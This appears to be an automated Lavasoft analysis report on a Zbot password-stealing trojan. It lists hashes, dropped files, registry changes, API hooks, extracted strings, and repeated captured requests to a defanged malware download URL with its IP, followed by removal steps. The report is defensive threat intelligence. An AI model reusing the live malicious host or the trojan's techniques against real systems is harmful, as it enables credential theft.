Trojan-PSW.Win32.Zbot_aa2ad1eb38

by malwarelabrobot on June 15th, 2014 in Malware Descriptions.

HEUR:Trojan.Win32.Generic (Kaspersky), Trojan.Generic.5261614 (B) (Emsisoft), Trojan.Generic.5261614 (AdAware), Trojan-PSW.Win32.Zbot.6.FD, GenericInjector.YR, BackdoorCaphaw_QKKBAL.YR, TrojanPSWZbot.YR (Lavasoft MAS)
Behaviour: Trojan-PSW, Trojan, Backdoor


The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

Requires JavaScript enabled!

Summary
Dynamic Analysis
Static Analysis
Network Activity
Map
Strings from Dumps
Removals

MD5: aa2ad1eb380896c23aa56ca93df24c3a
SHA1: 7f3ddd2ffebd91a6d660b945e5c24caa20e34803
SHA256: 3a45915a54b80b476388264089e9ddcacfd8188032a5d3424d9201c140f63fbc
SSDeep: 3072:6YU DwVPc45E4DTP/THtlftOkEoRgSI8p0sKEzyl:c D6PhnTP/THtlf1RFpqgi
Size: 116736 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: UPolyXv05_v6
Company: AirInstaller
Created at: 1997-04-16 05:52:24
Analyzed on: WindowsXP SP3 32-bit


Summary:

Trojan-PSW. Trojan program intended for stealing users passwords.

Payload

No specific payload has been found.

Process activity

The Trojan-PSW creates the following process(es):

emky.exe:928
%original file name%.exe:556

The Trojan-PSW injects its code into the following process(es):

Explorer.EXE:692

File activity

The process %original file name%.exe:556 makes changes in the file system.
The Trojan-PSW creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Application Data\Piniu\emky.exe (116 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\tmp2cde41c2.bat (177 bytes)

Registry activity

The process emky.exe:928 makes changes in the system registry.
The Trojan-PSW creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "39 4C ED C6 21 54 41 59 6A 6F 30 3A 6D D5 15 8F"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

The process %original file name%.exe:556 makes changes in the system registry.
The Trojan-PSW creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "10 32 31 99 C1 46 55 55 F6 7C F2 B1 E2 CD 72 2F"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Yhirib]
"Adtah" = "2A 9B E8 65 1A A7 4F A0 DC 47 06 21 FD CC 69 1D"

Dropped PE files

MD5 File path
42c97dcbff1a5a672c398f4ac28a705a c:\Documents and Settings\"%CurrentUserName%"\Application Data\Piniu\emky.exe

HOSTS file anomalies

No changes have been detected.

Rootkit activity

The Trojan-PSW installs the following user-mode hooks in WININET.dll:

HttpSendRequestExA
HttpSendRequestW
InternetReadFileExA
InternetQueryDataAvailable
HttpSendRequestExW
InternetReadFile
HttpQueryInfoA
HttpSendRequestA
InternetCloseHandle

The Trojan-PSW installs the following user-mode hooks in CRYPT32.dll:

PFXImportCertStore

The Trojan-PSW installs the following user-mode hooks in USER32.dll:

SetCursorPos
DefMDIChildProcA
DefFrameProcA
DefDlgProcA
GetClipboardData
DefMDIChildProcW
DefFrameProcW
GetUpdateRgn
RegisterClassA
GetDCEx
ReleaseCapture
SetCapture
DefWindowProcA
CallWindowProcA
GetUpdateRect
PeekMessageA
CallWindowProcW
GetMessagePos
GetCursorPos
EndPaint
BeginPaint
DefWindowProcW
RegisterClassExA
GetMessageA
DefDlgProcW
SwitchDesktop
OpenInputDesktop
RegisterClassExW
RegisterClassW
GetCapture
PeekMessageW
GetMessageW
GetWindowDC
TranslateMessage
GetDC
ReleaseDC

The Trojan-PSW installs the following user-mode hooks in WS2_32.dll:

WSASend
send
closesocket

The Trojan-PSW installs the following user-mode hooks in kernel32.dll:

GetFileAttributesExW

The Trojan-PSW installs the following user-mode hooks in ntdll.dll:

LdrLoadDll
NtCreateThread

Propagation

VersionInfo

No information is available.

PE Sections

Name Virtual Address Virtual Size Raw Size Entropy Section MD5
.text 4096 11084 11264 2.97992 99230de72954ebd7ddee5ec24b4889dd
.sdata 16384 264 512 1.46054 f8473f9dc5cce101e5050d1e5d9d4bd4
.data 20480 197 512 0.632712 2ce251a5e3bd5299aee15fec1d19b5a6
.qdata 24576 89820 90112 5.39475 9b2b43432e73b44fde16608bd53b510b
.data 114688 7356 7680 5.12203 53b3d87e5e3e161d57dd1962574fd24b
.rsrc 122880 4544 4608 1.09169 9dce60d34aad2a75d4e3595d9f5410c1
.reloc 131072 20632 512 1.58227 e24df571f6915bc95ddd27c71cb6eb87

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

URLs

URL IP
hxxp://mast99d.com/upp7.so 82.165.37.26


IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

GET /upp7.so HTTP/1.1
Accept: */*
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: mast99d.com
Cache-Control: no-cache


HTTP/1.1 404 Not Found
Server: nginx/1.6.0
Date: Sat, 14 Jun 2014 11:55:35 GMT
Content-Type: text/html
Content-Length: 570
Connection: close
<html>..<head><title>404 Not Found</title><
/head>..<body bgcolor="white">..<center><h1>404 N
ot Found</h1></center>..<hr><center>nginx/1.6.
0</center>..</body>..</html>..<!-- a padding to d
isable MSIE and Chrome friendly error page -->..<!-- a padding t
o disable MSIE and Chrome friendly error page -->..<!-- a paddin
g to disable MSIE and Chrome friendly error page -->..<!-- a pad
ding to disable MSIE and Chrome friendly error page -->..<!-- a
padding to disable MSIE and Chrome friendly error page -->..<!--
a padding to disable MSIE and Chrome friendly error page -->....


GET /upp7.so HTTP/1.1
Accept: */*
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: mast99d.com
Cache-Control: no-cache


HTTP/1.1 404 Not Found
Server: nginx/1.6.0
Date: Sat, 14 Jun 2014 11:55:29 GMT
Content-Type: text/html
Content-Length: 570
Connection: close
<html>..<head><title>404 Not Found</title><
/head>..<body bgcolor="white">..<center><h1>404 N
ot Found</h1></center>..<hr><center>nginx/1.6.
0</center>..</body>..</html>..<!-- a padding to d
isable MSIE and Chrome friendly error page -->..<!-- a padding t
o disable MSIE and Chrome friendly error page -->..<!-- a paddin
g to disable MSIE and Chrome friendly error page -->..<!-- a pad
ding to disable MSIE and Chrome friendly error page -->..<!-- a
padding to disable MSIE and Chrome friendly error page -->..<!--
a padding to disable MSIE and Chrome friendly error page -->....


GET /upp7.so HTTP/1.1
Accept: */*
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: mast99d.com
Cache-Control: no-cache


HTTP/1.1 404 Not Found
Server: nginx/1.6.0
Date: Sat, 14 Jun 2014 11:55:40 GMT
Content-Type: text/html
Content-Length: 570
Connection: close
<html>..<head><title>404 Not Found</title><
/head>..<body bgcolor="white">..<center><h1>404 N
ot Found</h1></center>..<hr><center>nginx/1.6.
0</center>..</body>..</html>..<!-- a padding to d
isable MSIE and Chrome friendly error page -->..<!-- a padding t
o disable MSIE and Chrome friendly error page -->..<!-- a paddin
g to disable MSIE and Chrome friendly error page -->..<!-- a pad
ding to disable MSIE and Chrome friendly error page -->..<!-- a
padding to disable MSIE and Chrome friendly error page -->..<!--
a padding to disable MSIE and Chrome friendly error page -->....


GET /upp7.so HTTP/1.1
Accept: */*
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: mast99d.com
Cache-Control: no-cache


HTTP/1.1 404 Not Found
Server: nginx/1.6.0
Date: Sat, 14 Jun 2014 11:55:24 GMT
Content-Type: text/html
Content-Length: 570
Connection: close
<html>..<head><title>404 Not Found</title><
/head>..<body bgcolor="white">..<center><h1>404 N
ot Found</h1></center>..<hr><center>nginx/1.6.
0</center>..</body>..</html>..<!-- a padding to d
isable MSIE and Chrome friendly error page -->..<!-- a padding t
o disable MSIE and Chrome friendly error page -->..<!-- a paddin
g to disable MSIE and Chrome friendly error page -->..<!-- a pad
ding to disable MSIE and Chrome friendly error page -->..<!-- a
padding to disable MSIE and Chrome friendly error page -->..<!--
a padding to disable MSIE and Chrome friendly error page -->....


GET /upp7.so HTTP/1.1
Accept: */*
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: mast99d.com
Cache-Control: no-cache


HTTP/1.1 404 Not Found
Server: nginx/1.6.0
Date: Sat, 14 Jun 2014 11:55:45 GMT
Content-Type: text/html
Content-Length: 570
Connection: close
<html>..<head><title>404 Not Found</title><
/head>..<body bgcolor="white">..<center><h1>404 N
ot Found</h1></center>..<hr><center>nginx/1.6.
0</center>..</body>..</html>..<!-- a padding to d
isable MSIE and Chrome friendly error page -->..<!-- a padding t
o disable MSIE and Chrome friendly error page -->..<!-- a paddin
g to disable MSIE and Chrome friendly error page -->..<!-- a pad
ding to disable MSIE and Chrome friendly error page -->..<!-- a
padding to disable MSIE and Chrome friendly error page -->..<!--
a padding to disable MSIE and Chrome friendly error page -->....


GET /upp7.so HTTP/1.1
Accept: */*
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: mast99d.com
Cache-Control: no-cache


HTTP/1.1 404 Not Found
Server: nginx/1.6.0
Date: Sat, 14 Jun 2014 11:55:29 GMT
Content-Type: text/html
Content-Length: 570
Connection: close
<html>..<head><title>404 Not Found</title><
/head>..<body bgcolor="white">..<center><h1>404 N
ot Found</h1></center>..<hr><center>nginx/1.6.
0</center>..</body>..</html>..<!-- a padding to d
isable MSIE and Chrome friendly error page -->..<!-- a padding t
o disable MSIE and Chrome friendly error page -->..<!-- a paddin
g to disable MSIE and Chrome friendly error page -->..<!-- a pad
ding to disable MSIE and Chrome friendly error page -->..<!-- a
padding to disable MSIE and Chrome friendly error page -->..<!--
a padding to disable MSIE and Chrome friendly error page -->....


GET /upp7.so HTTP/1.1
Accept: */*
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: mast99d.com
Cache-Control: no-cache


HTTP/1.1 404 Not Found
Server: nginx/1.6.0
Date: Sat, 14 Jun 2014 11:55:40 GMT
Content-Type: text/html
Content-Length: 570
Connection: close
<html>..<head><title>404 Not Found</title><
/head>..<body bgcolor="white">..<center><h1>404 N
ot Found</h1></center>..<hr><center>nginx/1.6.
0</center>..</body>..</html>..<!-- a padding to d
isable MSIE and Chrome friendly error page -->..<!-- a padding t
o disable MSIE and Chrome friendly error page -->..<!-- a paddin
g to disable MSIE and Chrome friendly error page -->..<!-- a pad
ding to disable MSIE and Chrome friendly error page -->..<!-- a
padding to disable MSIE and Chrome friendly error page -->..<!--
a padding to disable MSIE and Chrome friendly error page -->....


GET /upp7.so HTTP/1.1
Accept: */*
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: mast99d.com
Cache-Control: no-cache


HTTP/1.1 404 Not Found
Server: nginx/1.6.0
Date: Sat, 14 Jun 2014 11:55:24 GMT
Content-Type: text/html
Content-Length: 570
Connection: close
<html>..<head><title>404 Not Found</title><
/head>..<body bgcolor="white">..<center><h1>404 N
ot Found</h1></center>..<hr><center>nginx/1.6.
0</center>..</body>..</html>..<!-- a padding to d
isable MSIE and Chrome friendly error page -->..<!-- a padding t
o disable MSIE and Chrome friendly error page -->..<!-- a paddin
g to disable MSIE and Chrome friendly error page -->..<!-- a pad
ding to disable MSIE and Chrome friendly error page -->..<!-- a
padding to disable MSIE and Chrome friendly error page -->..<!--
a padding to disable MSIE and Chrome friendly error page -->....


GET /upp7.so HTTP/1.1
Accept: */*
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: mast99d.com
Cache-Control: no-cache


HTTP/1.1 404 Not Found
Server: nginx/1.6.0
Date: Sat, 14 Jun 2014 11:55:34 GMT
Content-Type: text/html
Content-Length: 570
Connection: close
<html>..<head><title>404 Not Found</title><
/head>..<body bgcolor="white">..<center><h1>404 N
ot Found</h1></center>..<hr><center>nginx/1.6.
0</center>..</body>..</html>..<!-- a padding to d
isable MSIE and Chrome friendly error page -->..<!-- a padding t
o disable MSIE and Chrome friendly error page -->..<!-- a paddin
g to disable MSIE and Chrome friendly error page -->..<!-- a pad
ding to disable MSIE and Chrome friendly error page -->..<!-- a
padding to disable MSIE and Chrome friendly error page -->..<!--
a padding to disable MSIE and Chrome friendly error page -->....


The Trojan-PSW connects to the servers at the folowing location(s):

Explorer.EXE_692_rwx_00F30000_00025000:

.text
`.data
.reloc
gdiplus.dll
GdiplusShutdown
ole32.dll
gdi32.dll
PR_OpenTCPSocket
HTTP/1.1
userenv.dll
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1)
urlmon.dll
cabinet.dll
del "%s"
if exist "%s" goto d
del /F "%s"
http://www.google.com/webhp
http://
https://
HTTP/1.
'=%"6,6<
6-,>..70>
Wmkoipj%idedoah-sg0}
: $"06 , 
}zoyecg{.dzf
$93 $3#5#
%0' ;>>,
KM].diekbau
, >(3=2;
)4>-)>.8.
121<4?= 
1;5;;64|
3=??/:; )
PSSj%S
GetProcessHeap
KERNEL32.dll
ExitWindowsEx
GetKeyboardState
OpenWindowStationW
GetProcessWindowStation
CreateWindowStationW
CloseWindowStation
SetProcessWindowStation
MsgWaitForMultipleObjects
SetKeyboardState
MapVirtualKeyW
USER32.dll
RegOpenKeyExW
RegEnumKeyExW
RegCloseKey
RegCreateKeyExW
ADVAPI32.dll
UrlUnescapeA
SHDeleteKeyW
PathIsURLW
SHLWAPI.dll
ShellExecuteW
SHELL32.dll
Secur32.dll
SetViewportOrgEx
GDI32.dll
WS2_32.dll
PFXImportCertStore
CertDeleteCertificateFromStore
CertOpenSystemStoreW
CertCloseStore
CertEnumCertificatesInStore
CertDuplicateCertificateContext
PFXExportCertStoreEx
CRYPT32.dll
HttpSendRequestExA
HttpQueryInfoA
HttpSendRequestExW
HttpSendRequestW
HttpSendRequestA
InternetCrackUrlA
HttpOpenRequestA
HttpAddRequestHeadersA
GetUrlCacheEntryInfoW
HttpAddRequestHeadersW
WININET.dll
OLEAUT32.dll
NETAPI32.dll
explorer.exe
rdpclip.exe
ctfmon.exe
wscntfy.exe
taskeng.exe
taskhost.exe
dwm.exe
ntdll.dll
nspr4.dll
*kernel32.dll
"%s" %s
SOFTWARE\Microsoft\Windows NT\CurrentVersion
%s_XX
/c "%s"
%sx.%s
%sx
SysShadow
cGlobal\XXX
%Documents and Settings%\%current user%\Application Data
{960994EC-2BC9-F97B-3081-8B34F7D9FA77}
Global\{007226C7-99E2-6F00-3081-8B34F7D9FA77}
%Documents and Settings%\%current user%\Application Data\Viimug\cyig.ixi
%Documents and Settings%\%current user%\Application Data\Viimug
cyig.ixi


Remove it with Ad-Aware

  1. Click (here) to download and install Ad-Aware Free Antivirus.
  2. Update the definition files.
  3. Run a full scan of your computer.


Manual removal*

  1. Scan a system with an anti-rootkit tool.
  2. Terminate malicious process(es) (How to End a Process With the Task Manager):

    emky.exe:928
    %original file name%.exe:556

  3. Delete the original Trojan-PSW file.
  4. Delete or disinfect the following files created/modified by the Trojan-PSW:

    %Documents and Settings%\%current user%\Application Data\Piniu\emky.exe (116 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\tmp2cde41c2.bat (177 bytes)

  5. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
  6. Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.